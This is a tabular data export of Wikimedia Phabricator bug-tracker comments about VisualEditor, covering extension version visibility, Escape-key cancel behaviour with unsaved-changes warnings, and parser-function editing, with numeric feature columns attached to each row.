+I'm not sure of the history here, but perhaps it could show the extra info only for logged-in users?",,,1373217143,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-grvae3imieydt4li7k7h,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+240479,Difficult for users to know what exact version of each extension is running on the cluster,"(In reply to comment #0)
+> This bug was cloned from bug 50120.
+> 
+> (In reply to bug 50120 comment #5)
+> > We believe that this is now fixed (due to fixes in Parsoid). Please re-open
+> > if it recurs.
+> 
+> How do you know what version of VisualEditor or Parsoid is running? Looking
+> at
+> Erik's comment (bug 50120 comment 6), I try to go to [[Special:Version]] to
+> figure out what exact versions of Parsoid and VisualEditor are running (for
+> debugging purposes and to figure out if this problem is still present in the
+> latest bleeding edge code) and I find that Parsoid and VisualEditor are both
+> marked as version 0.1.0. Not quite helpful for debugging. Splitting this
+> issue
+> out.
+
+This is a cluster configuration issue; it's trivial to find out which version of VisualEditor is running in Beta Labs, as each MW extension is shown in http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version with the date and a link to the git.wikimedia.org page of the currently-running commit. I don't think bumping version numbers on extensions with every deployment is a great idea, however.
+
+(Note that this doesn't help for Parsoid, however, as it's not actually an MW extension, despite the confusing repo name.)
+
+For ultra-power-users like me, I ""just"":
+
+* Find from Special:Version which branch the site I'm interested in is on
+* Look up in gerrit any changes to that branch since it was cut https://gerrit.wikimedia.org/r/#/q/status:merged+project:mediawiki/core+branch:wmf/1.22wmf8,n,z
+* Find the latest time the extension was updated in there based on commit title (hopefully helpful), or if never, from the original cut commit
+* Take that commit ID (in this case, ""11453371c637b50cd3f37e80893d9a80b0c044a5"") and sling it into gerrit (in this case, https://gerrit.wikimedia.org/r/#/q/11453371c637b50cd3f37e80893d9a80b0c044a5,n,z gives the result).
+* Success! Umm.
+
+However, this isn't remotely a great solution for even quite serious developers on staff or in the community, let alone regular users who might want to file bugs.
+
+Could we switch on the configuration we have on beta labs for Special:Version for other wikis? (Perhaps as a page option - ?showversions=true or whatever, so as to avoid confusing users.)",,,1373162213,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-grvae3imieydt4li7k7h,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+52868,Escape key inside the main editor should cancel VE mode and return to action=view,"**Author:** `gigs`
+
+**Description:**
+I see that a cancel button has been added, which is an improvement, but the escape key should also cancel edit mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373132460,1645206828.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-biusmqvxgixprlg4xp34,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+1867245,Escape key inside the main editor should cancel VE mode and return to action=view,"@Alex42 Thanks for reporting this. I filed a separate task about it: {T302096}. This task is from almost 9 years ago, and the cause of the new problem is almost certainly not related.",,,1645206828,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,450,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0
+1867121,Escape key inside the main editor should cancel VE mode and return to action=view,"This feature worked as expected until now. The last time i remember it working correctly is a few month ago.
+
+But now it is broken and **no dialog** ""Are you sure?"" is shown any more, when pressing Esc key once. Yesterday i lost a [[ https://de.wikipedia.org/w/index.php?title=Kreditkarte&curid=18081&diff=220309975&oldid=217344355 | hour of work ]].
+
+Tested in main view of VisualEditor on fr-, de- and en-wiki with Firefox 97.0 (64-Bit) on Win10.
+
+See also this disussion: [[ https://en.wikipedia.org/wiki/User_talk:Nick_Moyes#ESC_key_in_VisualEditor | en-wiki:User_talk:Nick_Moyes#ESC_key_in_VisualEditor ]]",,,1645197042,,PHID-USER-iaar5nh25gcynskxgwrr,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,450,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+1866925,Escape key inside the main editor should cancel VE mode and return to action=view,"This feature worked as expected until now. The last time i remember it working correctly is a few month ago.
+
+But now it is broken and **no dialog** ""Are you sure?"" is shown any more, when pressing Esc key once. Yesterday i lost a [[ https://de.wikipedia.org/w/index.php?title=Kreditkarte&curid=18081&diff=220309975&oldid=217344355 | hour of work ]].
+
+Tested in main view of VisualEditor on fr-, de- and en-wiki with Firefox 97.0 (64-Bit) on Win10.",,,1645177521,,PHID-USER-iaar5nh25gcynskxgwrr,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,450,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+1201156,Escape key inside the main editor should cancel VE mode and return to action=view,"It is a somewhat traumatic experience when you press Esc too hard in a dialog (or try to use Esc to cancel text selection etc) and VE shows a helpful ""would you like me to irrecoverably throw away the result of your last three hours of work? Y/N"" dialog. It's probably not easy to confirm by accident but it's still a pretty bad feeling. Has this been through any user testing at all?",,,1545717996,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,286,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,1
+773370,Escape key inside the main editor should cancel VE mode and return to action=view,"The discussion above makes sense and I think the <escape> key feature as currently implemented is probably helpful to some people.  But as a user who heavily uses <esc> to get out of ""insert ..."" dialogs and so on, it's alternately scary and annoying that a hitting (any) key too many times threatens to cancel my changes without saving.
+
+I'm not sure what improvements to suggest.  On second thought...  There doesn't seem to be a Cancel button, which makes it arch-surprising that a keyboard shortcut would do so.  What about changing the behavior of <esc> to ""Save Changes"" instead?  This seems consistent and friendly.",,,1481102923,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,179,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+773369,Escape key inside the main editor should cancel VE mode and return to action=view,"The discussion above makes sense and I think the <escape> key feature as currently implemented is probably helpful to some people.  But as a user who heavily uses <esc> to get out of ""insert ..."" dialogs and so on, it's alternately scary and annoying that a hitting the key too many times will threaten to cancel my changes without saving.
+
+I'm not sure what improvements to suggest.  On second thought...  There doesn't seem to be a Cancel button, which makes it arch-surprising that a keyboard shortcut would do so.  What about changing the behavior of <esc> to ""Save Changes"" instead?  This seems consistent and friendly.",,,1481102889,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,179,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+335965,Escape key inside the main editor should cancel VE mode and return to action=view,Verified in betalabs.  Escape key will bring a warning message  box 'Are you sure?',,,1417633671,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,74,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+335644,Escape key inside the main editor should cancel VE mode and return to action=view,">>! In T52868#805066, @Jdforrester-WMF wrote:
+> Resolution is determined by QA for features and bugs.
+
+Huh?",,,1417575813,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,74,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1
+335635,Escape key inside the main editor should cancel VE mode and return to action=view,Resolution is determined by QA for features and bugs.,,,1417573056,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,74,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+335609,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175869 merged by jenkins-bot:
+Cancel VE when escape key pressed
+
+[[https://gerrit.wikimedia.org/r/175869]]",,,1417566802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,74,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+333173,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175868 merged by jenkins-bot:
+Dialog: Only handle escape events when open
+
+[[https://gerrit.wikimedia.org/r/175868]]",,,1416953583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+333172,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175869 had a related patch set uploaded (by Alex Monk):
+Cancel VE when escape key pressed
+
+[[https://gerrit.wikimedia.org/r/175869]]
+
+#patch-for-review",,,1416953386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+333168,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175868 had a related patch set uploaded (by Alex Monk):
+Dialog: Only handle escape events when open
+
+[[https://gerrit.wikimedia.org/r/175868]]
+
+#patch-for-review",,,1416953163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+239818,Escape key inside the main editor should cancel VE mode and return to action=view,"(In reply to WhatamIdoing from comment #11)
+> I'm a bit worried about this.  What if I'm in a template dialog and
+> accidentally press Esc twice/too long?  If this triggered the ""Do you really
+> wnt to exit?"" confirmation, it might be okay.  However, I suspect that this
+> might not have the ultimate effect that was intended.
+
+Comment 10 asks for the unsaved changes warning to be shown. If we do that, I think it'll be fine. Pressing escape while a dialog is open will dismiss that dialog with a safe action (the cancel/never mind action). So if you press escape again when the unsaved changes warning is visible, that'll dismiss the warning with the safe action, which is ""never mind, I want to continue editing"". So if you press Esc a bunch of times or hold it too long, you'll end up in a loop of the unsaved changes warning appearing and being dismissed.",,,1407973255,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,58,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+239812,Escape key inside the main editor should cancel VE mode and return to action=view,"I'm a bit worried about this.  What if I'm in a template dialog and accidentally press Esc twice/too long?  If this triggered the ""Do you really wnt to exit?"" confirmation, it might be okay.  However, I suspect that this might not have the ultimate effect that was intended.",,,1407972909,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,58,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+239807,Escape key inside the main editor should cancel VE mode and return to action=view,"Yes, pressing escape when in a dialog should close that level of the dialog (if more than one) or the dialog if it's at the top level of the dialog. If a change was confirmed then it should remain when closed, if a change was unconfirmed it should be cancelled. 
+
+With no dialogs open, escape should exit VE but should ask for confirmation before doing so if there are unsaved changes. That dialog should have keyboard actions such that enter confirms you want to leave and escape indicates that you don't want to leave and take you back to the VE. This will stop people losing work if they hit esc accidentally or too many times.",,,1374027650,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+239801,Escape key inside the main editor should cancel VE mode and return to action=view,Clarify title so it's clear we all agree.,,,1373394497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+239796,Escape key inside the main editor should cancel VE mode and return to action=view,"**gigs** wrote:
+
+Agreed, that's how I envisioned it.",,,1373382255,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+239790,Escape key inside the main editor should cancel VE mode and return to action=view,"I'd like to note that really this should only happen iff someone is exclusively in edit mode. IOW, if someone has opened the template inspector, close that. Link inspector, close that - so on and so forth.",,,1373361187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+239783,Escape key inside the main editor should cancel VE mode and return to action=view,"On macs, cancel is usually cmd-.
+
+Wouldn't mind having that in VE.",,,1373228712,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+239778,Escape key inside the main editor should cancel VE mode and return to action=view,"I think this isn't a bad idea, though I'm a little troubled if this causes unexpected behaviour for users of some browsers.",,,1373145156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+239775,Escape key inside the main editor should cancel VE mode and return to action=view,"**gigs** wrote:
+
+OK, but my next question is: What form fields are people going to be interacting with when in the main Visualeditor?  The only form field I see is the search box.",,,1373143309,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+239772,Escape key inside the main editor should cancel VE mode and return to action=view,"Opera does that; it's useful enough that I expected other browsers to behave similarly. IE8 resets the value to the default (for both inputs and textareas). And Firefox apparently doesn't do anything, like you said.",,,1373139445,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+239769,Escape key inside the main editor should cancel VE mode and return to action=view,"**gigs** wrote:
+
+What browsers?  Not Chrome or Firefox.  I don't have IE here to test with, but I doubt it does it either.
+
+http://www.w3schools.com/jquery/tryit.asp?filename=tryjquery_event_blur_alert",,,1373136114,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+239767,Escape key inside the main editor should cancel VE mode and return to action=view,The escape key is used by browsers to defocus (blur) currently focused form element. Reusing it for this would be really annoying.,,,1373132960,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+52855,VisualEditor: Transclusions editor should support parser functions and variables,"Parser function syntax is generally {{#function_name : expr1 | expr2 | expr3 | ...}}
+
+Currently VE sees this as a template with name ""#function_name : expr1"" and arguments ""1 = expr2"", ""2 = expr3"", etc. This makes it impossible to edit expr1 in VE.
+
+Same for parserfunctions like urlencode and template messages. The transclusions editor should be able to handle them, preferably by invisibly detecting them and failing that with a special, user-selected mode. Until we can, we should show an explanatory message when the user attempts to add one. 
+
+**See also:**
+{T54607}",Low,25.0,1373104140,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-5tthiu6szwn225okbzla,task_description,open,True,c1,3,True,False,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+1490823,VisualEditor: Transclusions editor should support parser functions and variables,"So yeah. Matma Rex has merged T249860 with this task. Also, I will add details about this task on [[ https://en.wikipedia.org/wiki/Wikipedia:VisualEditor | Wikipedia:VisualEditor ]].",,,1587917120,,PHID-USER-wmk4bsljm5c77zhckwcj,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,False,,,355,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+481912,VisualEditor: Transclusions editor should support parser functions and variables,"If Parsoid doesn't automatically tell VE whether something is a template or not, could it not be done by looking at the format of the string (e.g. {{# is never a template) or comparing it to a list of parser functions?",,,1435260148,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,False,,,103,,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+239110,VisualEditor: Transclusions editor should support parser functions and variables,"Many of the parser functions are rarely used in the main namespace (#if, ...), but some of them are really important even in the main namespace. For example {{formatnum:...}} is probably used a lot there.",,,1373465761,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,1
+239100,VisualEditor: Transclusions editor should support parser functions and variables,"Yes, we need a special form of editing transclusions which aren't templates; I can't recall whether Parsoid gives us sufficient information to recognise these as different except for introspection.",,,1373160763,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+52827,VisualEditor: Provide integration as an API service,"Original Bug title: 
+Provide an API to activate VE on arbitrary textareas for Gadgets and user scripts and document it at [[:mw:VisualEditor/API]]
+
+Please also create a mailing-list for those API updates.
+
+Issue:
+Since users will not be able to understand Wiki-Markup, please provide and API for turning-on VisualEditor on <textarea>s. Example use case would be the Translate Extension where translators still have to enter wiki-markup or LiquidThreads or whatever is adding Wiki-Markup to a page.
+
+Providing an API to Gadget authors and other tools is an important matter; nearly all edits are made through gadgets at certain pages; thus it is not just an ""enhancement"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373053800,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-x25765urrimfm7ul6ci4,task_description,open,True,c1,3,False,False,,0,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+237321,VisualEditor: Provide integration as an API service,"This is a quite considerable piece of work; marking as ""low"" absent a huge push for this.",,,1373058098,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-x25765urrimfm7ul6ci4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0
